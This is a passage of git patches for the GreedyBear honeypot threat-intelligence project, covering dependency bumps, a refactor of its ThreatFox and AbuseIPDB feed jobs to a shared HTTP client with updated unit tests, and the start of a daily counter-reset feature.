"https://files.pythonhosted.org/packages/74/0d/f2cd247ad32633a5c36e97141a2c21b11c6279f7957bc2ff360b1e08fddd/ruff-0.15.16-py3-none-win32.whl", hash = "sha256:580378f7bd4aa25f72e74aa54948a9622f142b1e509521dd10902e886681cc1e", size = 10735541, upload-time = "2026-06-04T16:32:30.145Z" }, - { url = "https://files.pythonhosted.org/packages/8b/9e/02e845ef151b1dee585e55c4739f8e1734ae1d9f1221dff65761c162208b/ruff-0.15.16-py3-none-win_amd64.whl", hash = "sha256:408256017284eddf98fff77b29aa4fb30f586042d535b2d9befc6512f400aaec", size = 11843403, upload-time = "2026-06-04T16:32:39.76Z" }, - { url = "https://files.pythonhosted.org/packages/15/19/016553f86f207450aebebc2b2b5088d086b901cc8186c02ac4284db3bd88/ruff-0.15.16-py3-none-win_arm64.whl", hash = "sha256:8cd61783afb39638a7133ef0d2dfb1e91277593962f81b5a8423eb0b888a6121", size = 11134555, upload-time = "2026-06-04T16:33:00.136Z" }, +version = "0.15.17" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8c/a9/3abdf488f1bf3d24c699415e454ed554a6350d5d89ce183be1ee0a3361ac/ruff-0.15.17.tar.gz", hash = "sha256:2ec446937fd16c8c4de2674a209cc5af64d9c6f17d21fbf1151054fa0bcf5219", size = 4743346, upload-time = "2026-06-11T17:54:47.663Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/4d/e11259f5da07cb6afb2d074c31bf09da9671993f7329d4f15d2fdc458301/ruff-0.15.17-py3-none-linux_armv6l.whl", hash = "sha256:d9feddb927fc68bd295f5eebc587a7e42cfaf9b65f60ca4a2386febff575da8f", size = 10856677, upload-time = "2026-06-11T17:54:49.533Z" }, + { url = "https://files.pythonhosted.org/packages/29/3e/772d679e1a0dc058e58875bd2c0cb713a0530877b4a76fee3c7966df0d49/ruff-0.15.17-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:25805a226d741c47d274a35ad5c10a7dde175fcddfa511d7cf3da0a21eb3eab7", size = 11223443, upload-time = "2026-06-11T17:55:00.573Z" }, + { url = "https://files.pythonhosted.org/packages/68/58/bd41f7688b2fd5623012605130ed70e60aa7f2244baa3d5066bdd61530c8/ruff-0.15.17-py3-none-macosx_11_0_arm64.whl", hash = "sha256:f6ad73b14c2d18a3bf8ad7cb6974294d7f613a7898604826058e6ac64918ef4d", size = 10566458, upload-time = "2026-06-11T17:55:07.52Z" }, + { url = "https://files.pythonhosted.org/packages/d8/5b/733371013fcf1ec339e477ece6ab42bfe10bdd9bba8ee88a9516aa56bfc0/ruff-0.15.17-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ba0c1e4f95bcb3869d0d30cbd5917071ef2e28665abfec970cdab0492c713ed", size = 10914483, upload-time = "2026-06-11T17:55:05.501Z" }, + { url = "https://files.pythonhosted.org/packages/bd/cc/6f24251cc0252f7239391ccb85833f320efad14ebe5b443943f37ced6332/ruff-0.15.17-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:81647960f10bff57d2e51cadd0c3950fe598400c852863a038720ef5b8cca91e", size = 10647497, upload-time = "2026-06-11T17:54:57.733Z" }, + { url = "https://files.pythonhosted.org/packages/68/dd/0d10c17ce1a1624d6fc3156309c3f834fdb5dfaad026ec90c85684f3990e/ruff-0.15.17-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0e01a84ddbc8c16c23055ba3924476850f1bbc1917cebbb9376665a63e74260d", size = 11416967, upload-time = "2026-06-11T17:54:51.461Z" }, + { url = "https://files.pythonhosted.org/packages/2f/91/556bfb156f6144f355e831c23db00b2fc4120f86b3ce81cc5f7fd2df51f3/ruff-0.15.17-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84fe9f653152f8f294f9f7e03bf3a453d8b4a27f7a59c78c8666167f2b17b96c", size = 12335770, upload-time = "2026-06-11T17:54:45.793Z" }, + { url = "https://files.pythonhosted.org/packages/88/82/8b5999aa13355e926f06d9f42a32dcca862f623bf0363785ff89d607dffd/ruff-0.15.17-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c0fe88a7676e7a05b73174d4d4a59cb2ac21ff8263583f87a81a6018475a978", size = 11575441, upload-time = "2026-06-11T17:54:32.661Z" }, + { url = "https://files.pythonhosted.org/packages/11/93/f10377bb04109ca0e8cbc483ff1982c54b6d418210041776f93e8cdc7fa9/ruff-0.15.17-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecfc3c7878fff94633ab0348524e093f9ce3243080416dd7d14f8ba400174719", size = 11557614, upload-time = "2026-06-11T17:54:34.698Z" }, + { url = "https://files.pythonhosted.org/packages/c7/a6/eeeae7f7d5493df41649ab3db92f086b2d0a30199e4efdf8e3dd7a033f24/ruff-0.15.17-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:b8461180b22420b1bdc289909410930761629fddf2a5aaf60fae1ab26cedc4c4", size = 11544450, upload-time = "2026-06-11T17:54:39.042Z" }, + { url = "https://files.pythonhosted.org/packages/32/88/5991ce565129a24dd4a00db1254b3b5db2e53018cbe4018ea5a89738e727/ruff-0.15.17-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6eccbe50a038b503e7140b441aa9c7fc8c1f36edf23ebef9f4165c2f28f568b7", size = 10892524, upload-time = "2026-06-11T17:55:09.432Z" }, + { url = "https://files.pythonhosted.org/packages/f5/1d/0fdd248313425f55223968af04b0a42125466a8d88d21c1d99c6af0a51e8/ruff-0.15.17-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:382fc0521025f5a8ad447d8bdd523545d0d7646adb718eb1c2dac5065ec27c0f", size = 10659573, upload-time = "2026-06-11T17:54:36.824Z" }, + { url = "https://files.pythonhosted.org/packages/9e/0e/072e8260deb9461062ce9311ced27a8e541229a6ffd483013dd37661e43e/ruff-0.15.17-py3-none-musllinux_1_2_i686.whl", hash = "sha256:456d41fcd1b2777ad63f09a6e7121d43f7b688bbc76a800c10f7f8fb1f912c3f", size = 11127818, upload-time = "2026-06-11T17:55:03.124Z" }, + { url = "https://files.pythonhosted.org/packages/ab/b4/55060a34163121498014696b5f656db5b8c6963768f227dbf0d76b311073/ruff-0.15.17-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b1a04bcc94ae6194e9db05d16ad31f298a7194bfbcb08258bbe589cee1d587b8", size = 11655901, upload-time = "2026-06-11T17:54:53.562Z" }, + { url = "https://files.pythonhosted.org/packages/49/71/9b29d6b87cef468d697f43c6a91e3fae4a80185779d7d5a4ef27d173439f/ruff-0.15.17-py3-none-win32.whl", hash = "sha256:596065960ab1ff593f744220c9fe6580eda00a95003cffa9f4048bb5b1bf0392", size = 10925574, upload-time = "2026-06-11T17:54:55.723Z" }, + { url = "https://files.pythonhosted.org/packages/3d/b2/8fc77f3723228836fa5d12497eb71c808f83782e10d058d2b15cfa14640b/ruff-0.15.17-py3-none-win_amd64.whl", hash = "sha256:6769e5fa1710b179b92e0bfa5a51735b35baea9013dadb06d5f44cbcf9547084", size = 12058788, upload-time = "2026-06-11T17:54:41.042Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c7/c53e8dbff9c9dc4b7928773421ae294a5d28fcb8dcda1a089579d3a7e510/ruff-0.15.17-py3-none-win_arm64.whl", hash = "sha256:f3be1fbb34bcdfd146240d8fb92a709d4c2c8191348580a3c044ec60fa0b4456", size = 11355275, upload-time = "2026-06-11T17:54:43.635Z" }, ] [[package]] From 312b10aeb09dec79f5f7821bb86e91c82ed91ebd Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 17 Jun 2026 07:49:20 +0200 Subject: [PATCH 044/131] build(deps-dev): bump vitest from 4.1.8 to 4.1.9 in /frontend (#1416) Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 4.1.8 to 4.1.9. - [Release notes](https://github.com/vitest-dev/vitest/releases) - [Changelog](https://github.com/vitest-dev/vitest/blob/main/docs/releases.md) - [Commits](https://github.com/vitest-dev/vitest/commits/v4.1.9/packages/vitest) --- updated-dependencies: - dependency-name: vitest dependency-version: 4.1.9 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 2 +- frontend/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index ac1d7c4d3..46d1928a3 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -38,7 +38,7 @@ "prettier": "^3.8.4", "stylelint": "^17.13.0", "vite": "^8.0.16", - "vitest": "^4.1.8" + "vitest": "^4.1.9" } }, "node_modules/@adobe/css-tools": { diff --git a/frontend/package.json b/frontend/package.json index c3ed4ca9d..f318c4784 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -57,6 +57,6 @@ "prettier": "^3.8.4", "stylelint": "^17.13.0", "vite": "^8.0.16", - "vitest": "^4.1.8" + "vitest": "^4.1.9" } } From dd210056f614ff4187bc30a8d0944bc9f0059a42 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 17 Jun 2026 07:49:50 +0200 Subject: [PATCH 045/131] build(deps): bump sass from 1.100.0 to 1.101.0 in /frontend (#1415) Bumps [sass](https://github.com/sass/dart-sass) from 1.100.0 to 1.101.0. - [Release notes](https://github.com/sass/dart-sass/releases) - [Changelog](https://github.com/sass/dart-sass/blob/main/CHANGELOG.md) - [Commits](https://github.com/sass/dart-sass/compare/1.100.0...1.101.0) --- updated-dependencies: - dependency-name: sass dependency-version: 1.101.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 8 ++++---- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 46d1928a3..4eb8747a7 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -24,7 +24,7 @@ "react-use": "^17.6.1", "reactstrap": "^9.2.3", "recharts": "^3.8.1", - "sass": "^1.100.0", + "sass": "^1.101.0", "zustand": "^5.0.13" }, "devDependencies": { @@ -6030,9 +6030,9 @@ } }, "node_modules/sass": { - "version": "1.100.0", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.100.0.tgz", - "integrity": "sha512-B5j0rYMlinhhOo9tjQebMVVn0TfyXAF+wB3b2ggZUuJ/is/Y+7+JGjirAMxHZ9Z3hIP98NPfamlAkBHa1lAaXQ==", + "version": "1.101.0", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.101.0.tgz", + "integrity": "sha512-OL3GoQyoUdDt843DpVmDO6y2k1sc5IhUDSpu8XucEI+35neq5QivZ1iuegnpraEVTJXlQGK1gl27zKcTLEPbQw==", "license": "MIT", "dependencies": { "chokidar": "^5.0.0", diff --git a/frontend/package.json b/frontend/package.json index f318c4784..216ca8ef4 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -25,7 +25,7 @@ "react-use": "^17.6.1", "reactstrap": "^9.2.3", "recharts": "^3.8.1", - "sass": "^1.100.0", + "sass": "^1.101.0", "zustand": "^5.0.13" }, "scripts": { From d163889b22c4cdebe19663895d58d255f15a6e2c Mon Sep 17 00:00:00 2001 From: Prasad Shinde <144712280+Prasad8830@users.noreply.github.com> Date: Mon, 22 Jun 2026 14:27:53 +0530 Subject: [PATCH 046/131] refactor(cronjobs): migrate threatfox_feed, abuseipdb_feed, and extraction/utils to HttpClient. Refs #1214 (#1421) --- greedybear/cronjobs/abuseipdb_feed.py | 5 +++-- greedybear/cronjobs/extraction/utils.py | 14 ++++++++------ greedybear/cronjobs/threatfox_feed.py | 5 +++-- tests/test_abuseipdb.py | 23 ++++++++--------------- tests/test_extraction_utils.py | 8 ++++---- tests/test_threatfox.py | 23 ++++++++--------------- 6 files changed, 34 insertions(+), 44 deletions(-) diff --git a/greedybear/cronjobs/abuseipdb_feed.py b/greedybear/cronjobs/abuseipdb_feed.py index 2e0f964e4..9168347df 100644 --- a/greedybear/cronjobs/abuseipdb_feed.py +++ b/greedybear/cronjobs/abuseipdb_feed.py @@ -2,6 +2,7 @@ from django.conf import settings from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories.tag import TagRepository from greedybear.models import IOC from greedybear.utils import is_valid_ipv4 @@ -60,8 +61,8 @@ def run(self) -> None: "limit": self.MAX_ENTRIES, # Maximum 10k entries } - response = requests.get(url, headers=headers, params=params, timeout=30) - response.raise_for_status() + with HttpClient() as client: + response = client.get(url, headers=headers, params=params, timeout=30) json_data = response.json() blocklist_data = json_data.get("data", []) diff --git a/greedybear/cronjobs/extraction/utils.py b/greedybear/cronjobs/extraction/utils.py index d98f5aa18..6b01277b1 100644 --- a/greedybear/cronjobs/extraction/utils.py +++ b/greedybear/cronjobs/extraction/utils.py @@ -6,6 +6,7 @@ import requests from django.conf import settings +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories import ASRepository from greedybear.enums import IpReputation from greedybear.models import IOC, FireHolList, MassScanner @@ -243,12 +244,13 @@ def threatfox_submission(ioc_record: IOC, related_urls: list, log: Logger) -> No "iocs": urls_to_submit, } try: - r = requests.post( - "https://threatfox-api.abuse.ch/api/v1/", - headers=headers, - json=json_data, - timeout=5, - ) + with HttpClient() as client: + r = client.post( + "https://threatfox-api.abuse.ch/api/v1/", + headers=headers, + json=json_data, + timeout=5, + ) except requests.RequestException: log.exception("Threatfox push error") else: diff --git a/greedybear/cronjobs/threatfox_feed.py b/greedybear/cronjobs/threatfox_feed.py index 04f42cc15..514f11c59 100644 --- a/greedybear/cronjobs/threatfox_feed.py +++ b/greedybear/cronjobs/threatfox_feed.py @@ -5,6 +5,7 @@ from django.conf import settings from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories.tag import TagRepository from greedybear.models import IOC from greedybear.utils import is_valid_ipv4 @@ -60,8 +61,8 @@ def run(self) -> None: } data = {"query": "get_iocs", "days": 7} - response = requests.post(url, json=data, headers=headers, timeout=30) - response.raise_for_status() + with HttpClient() as client: + response = client.post(url, json=data, headers=headers, timeout=30) json_data = response.json() diff --git a/tests/test_abuseipdb.py b/tests/test_abuseipdb.py index 286afe32d..6a1d93c70 100644 --- a/tests/test_abuseipdb.py +++ b/tests/test_abuseipdb.py @@ -24,7 +24,7 @@ def test_skips_when_no_api_key(self, mock_settings): self.assertEqual(Tag.objects.filter(source="abuseipdb").count(), 0) - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_enriches_matching_iocs(self, mock_settings, mock_get): """Should create tags for IOCs that match blocklist IPs.""" @@ -39,7 +39,6 @@ def test_enriches_matching_iocs(self, mock_settings, mock_get): } ], } - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() @@ -53,7 +52,7 @@ def test_enriches_matching_iocs(self, mock_settings, mock_get): confidence_tag = tags.get(key="confidence_of_abuse") self.assertEqual(confidence_tag.value, "84%") - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_no_tags_for_non_matching_iocs(self, mock_settings, mock_get): """Should not create tags for IPs not in our IOC table.""" @@ -68,14 +67,13 @@ def test_no_tags_for_non_matching_iocs(self, mock_settings, mock_get): } ], } - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() self.assertEqual(Tag.objects.filter(source="abuseipdb").count(), 0) - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_replaces_stale_tags(self, mock_settings, mock_get): """Tags should be replaced on each run, not accumulated.""" @@ -94,7 +92,6 @@ def test_replaces_stale_tags(self, mock_settings, mock_get): } ], } - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() @@ -104,7 +101,7 @@ def test_replaces_stale_tags(self, mock_settings, mock_get): self.assertEqual(confidence_tags.count(), 1) self.assertEqual(confidence_tags.first().value, "95%") - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_clears_tags_when_ip_delisted(self, mock_settings, mock_get): """Tags should be removed when an IP is no longer in the blocklist.""" @@ -116,14 +113,13 @@ def test_clears_tags_when_ip_delisted(self, mock_settings, mock_get): # New run with empty blocklist (IP delisted) mock_response = Mock() mock_response.json.return_value = {"data": []} - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() self.assertEqual(Tag.objects.filter(source="abuseipdb", ioc=self.ioc).count(), 0) - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_handles_request_exception(self, mock_settings, mock_get): """Should raise on network errors.""" @@ -133,7 +129,7 @@ def test_handles_request_exception(self, mock_settings, mock_get): with self.assertRaises(requests.RequestException): self.cron.run() - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_skips_invalid_ips(self, mock_settings, mock_get): """Should skip entries with invalid IP addresses.""" @@ -152,14 +148,13 @@ def test_skips_invalid_ips(self, mock_settings, mock_get): }, ], } - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() self.assertEqual(Tag.objects.filter(source="abuseipdb").count(), 0) - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_does_not_affect_threatfox_tags(self, mock_settings, mock_get): """AbuseIPDB enrichment should not touch tags from other sources.""" @@ -170,7 +165,6 @@ def test_does_not_affect_threatfox_tags(self, mock_settings, mock_get): mock_response = Mock() mock_response.json.return_value = {"data": []} - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() @@ -178,7 +172,7 @@ def test_does_not_affect_threatfox_tags(self, mock_settings, mock_get): # ThreatFox tag should still exist self.assertEqual(Tag.objects.filter(source="threatfox").count(), 1) - @patch("greedybear.cronjobs.abuseipdb_feed.requests.get") + @patch("greedybear.cronjobs.abuseipdb_feed.HttpClient.get") @patch("greedybear.cronjobs.abuseipdb_feed.settings") def test_enriches_multiple_iocs(self, mock_settings, mock_get): """Should enrich multiple IOCs from a single feed download.""" @@ -197,7 +191,6 @@ def test_enriches_multiple_iocs(self, mock_settings, mock_get): }, ], } - mock_response.raise_for_status = Mock() mock_get.return_value = mock_response self.cron.run() diff --git a/tests/test_extraction_utils.py b/tests/test_extraction_utils.py index c5a25aad1..2d6dc8a99 100644 --- a/tests/test_extraction_utils.py +++ b/tests/test_extraction_utils.py @@ -536,7 +536,7 @@ def test_skips_urls_without_path(self, mock_settings): threatfox_submission(ioc_record, ["http://malicious.com", "http://evil.com/"], self.mock_log) self.assertTrue(any("skipping" in str(call) for call in self.mock_log.info.call_args_list)) - @patch("greedybear.cronjobs.extraction.utils.requests.post") + @patch("greedybear.cronjobs.extraction.utils.HttpClient.post") @patch("greedybear.cronjobs.extraction.utils.settings") def test_submits_urls_with_path(self, mock_settings, mock_post): mock_settings.THREATFOX_API_KEY = "test-key" @@ -551,7 +551,7 @@ def test_submits_urls_with_path(self, mock_settings, mock_post): self.assertEqual(call_kwargs["headers"]["Auth-Key"], "test-key") self.assertIn("http://malicious.com/payload.sh", call_kwargs["json"]["iocs"]) - @patch("greedybear.cronjobs.extraction.utils.requests.post") + @patch("greedybear.cronjobs.extraction.utils.HttpClient.post") @patch("greedybear.cronjobs.extraction.utils.settings") def test_includes_honeypot_names_in_comment(self, mock_settings, mock_post): mock_settings.THREATFOX_API_KEY = "test-key" @@ -571,7 +571,7 @@ def test_includes_honeypot_names_in_comment(self, mock_settings, mock_post): self.assertIn("Log4pot", comment) self.assertIn("Dionaea", comment) - @patch("greedybear.cronjobs.extraction.utils.requests.post") + @patch("greedybear.cronjobs.extraction.utils.HttpClient.post") @patch("greedybear.cronjobs.extraction.utils.settings") def test_logs_successful_submission(self, mock_settings, mock_post): mock_settings.THREATFOX_API_KEY = "test-key" @@ -585,7 +585,7 @@ def test_filters_mixed_urls(self, mock_settings): mock_settings.THREATFOX_API_KEY = "test-key" ioc_record = self._create_mock_payload_request() - with patch("greedybear.cronjobs.extraction.utils.requests.post") as mock_post: + with patch("greedybear.cronjobs.extraction.utils.HttpClient.post") as mock_post: mock_post.return_value = Mock(text='{"status": "ok"}') urls = [ "http://malicious.com", # No path - skip diff --git a/tests/test_threatfox.py b/tests/test_threatfox.py index 13b290ca2..72a2373fe 100644 --- a/tests/test_threatfox.py +++ b/tests/test_threatfox.py @@ -24,7 +24,7 @@ def test_skips_when_no_api_key(self, mock_settings): self.assertEqual(Tag.objects.filter(source="threatfox").count(), 0) - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_enriches_matching_iocs(self, mock_settings, mock_post): """Should create tags for IOCs that match feed IPs.""" @@ -45,7 +45,6 @@ def test_enriches_matching_iocs(self, mock_settings, mock_post): } ], } - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() @@ -61,7 +60,7 @@ def test_enriches_matching_iocs(self, mock_settings, mock_post): malware_tag = tags.get(key="malware") self.assertEqual(malware_tag.value, "Mirai") - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_no_tags_for_non_matching_iocs(self, mock_settings, mock_post): """Should not create tags for IPs not in our IOC table.""" @@ -80,14 +79,13 @@ def test_no_tags_for_non_matching_iocs(self, mock_settings, mock_post): } ], } - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() self.assertEqual(Tag.objects.filter(source="threatfox").count(), 0) - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_replaces_stale_tags(self, mock_settings, mock_post): """Tags should be replaced on each run, not accumulated.""" @@ -110,7 +108,6 @@ def test_replaces_stale_tags(self, mock_settings, mock_post): } ], } - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() @@ -121,7 +118,7 @@ def test_replaces_stale_tags(self, mock_settings, mock_post): self.assertEqual(malware_tags.count(), 1) self.assertEqual(malware_tags.first().value, "NewMalware") - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_clears_tags_when_ip_delisted(self, mock_settings, mock_post): """Tags should be removed when an IP is no longer in the feed.""" @@ -136,7 +133,6 @@ def test_clears_tags_when_ip_delisted(self, mock_settings, mock_post): "query_status": "ok", "data": [], } - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() @@ -144,7 +140,7 @@ def test_clears_tags_when_ip_delisted(self, mock_settings, mock_post): # Tags should be gone self.assertEqual(Tag.objects.filter(source="threatfox", ioc=self.ioc).count(), 0) - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_skips_private_ips(self, mock_settings, mock_post): """Should filter out private, loopback, and reserved IPs.""" @@ -170,14 +166,13 @@ def test_skips_private_ips(self, mock_settings, mock_post): }, ], } - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() self.assertEqual(Tag.objects.filter(source="threatfox").count(), 0) - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_handles_non_ok_status(self, mock_settings, mock_post): """Should handle non-OK API response gracefully.""" @@ -188,14 +183,13 @@ def test_handles_non_ok_status(self, mock_settings, mock_post): "query_status": "no_result", "data": [], } - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() self.assertEqual(Tag.objects.filter(source="threatfox").count(), 0) - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_handles_request_exception(self, mock_settings, mock_post): """Should raise on network errors.""" @@ -220,7 +214,7 @@ def test_extract_ip_returns_none_for_domain(self): ip = ThreatFoxCron._extract_ip("evil.example.com", "domain") self.assertIsNone(ip) - @patch("greedybear.cronjobs.threatfox_feed.requests.post") + @patch("greedybear.cronjobs.threatfox_feed.HttpClient.post") @patch("greedybear.cronjobs.threatfox_feed.settings") def test_does_not_affect_abuseipdb_tags(self, mock_settings, mock_post): """ThreatFox enrichment should not touch tags from other sources.""" @@ -231,7 +225,6 @@ def test_does_not_affect_abuseipdb_tags(self, mock_settings, mock_post): mock_response = Mock() mock_response.json.return_value = {"query_status": "ok", "data": []} - mock_response.raise_for_status = Mock() mock_post.return_value = mock_response self.cron.run() From 87750375192e01970957e170dcca2553a35d8148 Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Tue, 23 Jun 2026 11:26:39 +0545 Subject: [PATCH 047/131] feat: Periodic reset for invalid_event_count . Closes #1420 (#1423) * implemented invalid_event_count reset Signed-off-by: Drona Raj Gyawali * linter issue resloved Signed-off-by: Drona Raj Gyawali * formatting issue done Signed-off-by: Drona Raj Gyawali * refactor reset counter cron setup Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- greedybear/cronjobs/cleanup.py | 15 +++- greedybear/cronjobs/repositories/__init__.py | 1 + .../cronjobs/repositories/api_source.py | 17 +++++ tests/greedybear/cronjobs/test_cleanup.py | 74 +++++++++++++++++-- 4 files changed, 97 insertions(+), 10 deletions(-) create mode 100644 greedybear/cronjobs/repositories/api_source.py diff --git a/greedybear/cronjobs/cleanup.py b/greedybear/cronjobs/cleanup.py index 663a393a5..8a9bba1a8 100644 --- a/greedybear/cronjobs/cleanup.py +++ b/greedybear/cronjobs/cleanup.py @@ -2,6 +2,7 @@ from greedybear.cronjobs.base import Cronjob from greedybear.cronjobs.repositories import ( + APISourceRepository, CowrieSessionRepository, IocRepository, StatisticsRepository, @@ -19,11 +20,12 @@ class CleanUp(Cronjob): A scheduled job that performs database cleanup operations by removing outdated records. This job handles deletion of old IOCs, CowrieSessions, CommandSequences, and Statistics - based on retention periods defined in the application settings. All deletion operations - are logged with counts of removed objects. + based on retention periods defined in the application settings. It also resets the invalid + event count for API sources daily. All deletion operations are logged with counts of removed + objects. """ - def __init__(self, ioc_repo=None, cowrie_repo=None, stats_repo=None): + def __init__(self, ioc_repo=None, cowrie_repo=None, stats_repo=None, api_source_repo=None): """ Initialize the cleanup job with repository dependencies. @@ -31,11 +33,13 @@ def __init__(self, ioc_repo=None, cowrie_repo=None, stats_repo=None): ioc_repo: Optional IocRepository instance for testing. cowrie_repo: Optional CowrieSessionRepository instance for testing. stats_repo: Optional StatisticsRepository instance for testing. + api_source_repo: Optional APISourceRepository instance for testing. """ super().__init__() self.ioc_repo = ioc_repo if ioc_repo is not None else IocRepository() self.cowrie_repo = cowrie_repo if cowrie_repo is not None else CowrieSessionRepository() self.stats_repo = stats_repo if stats_repo is not None else StatisticsRepository() + self.api_source_repo = api_source_repo if api_source_repo is not None else APISourceRepository() def run(self) -> None: """ @@ -49,6 +53,7 @@ def run(self) -> None: 5. Deletes all Cowrie sessions older than COWRIE_SESSION_RETENTION days 6. Deletes all command sequences older than COMMAND_SEQUENCE_RETENTION days 7. Deletes Statistics records older than STATISTICS_RETENTION days + 8. Resets APISource invalid_event_count daily for retention enforcement Each deletion operation is logged with the number of affected records. """ @@ -81,3 +86,7 @@ def run(self) -> None: self.log.info(f"deleting all Statistics older then {STATISTICS_RETENTION} days") n = self.stats_repo.delete_old_statistics(statistics_expiration_date) self.log.info(f"{n} objects deleted") + + self.log.info("Resetting APISource invalid_event_count daily retention") + updated = self.api_source_repo.reset_invalid_counts() + self.log.info(f"Reset invalid_event_count to 0 for {updated} APISources") diff --git a/greedybear/cronjobs/repositories/__init__.py b/greedybear/cronjobs/repositories/__init__.py index 407eb5cf0..b0309e805 100644 --- a/greedybear/cronjobs/repositories/__init__.py +++ b/greedybear/cronjobs/repositories/__init__.py @@ -1,3 +1,4 @@ +from greedybear.cronjobs.repositories.api_source import * from greedybear.cronjobs.repositories.autonomous_system import * from greedybear.cronjobs.repositories.cowrie_session import * from greedybear.cronjobs.repositories.elastic import * diff --git a/greedybear/cronjobs/repositories/api_source.py b/greedybear/cronjobs/repositories/api_source.py new file mode 100644 index 000000000..45c4d94d1 --- /dev/null +++ b/greedybear/cronjobs/repositories/api_source.py @@ -0,0 +1,17 @@ +import logging + +from greedybear.models import APISource + + +class APISourceRepository: + 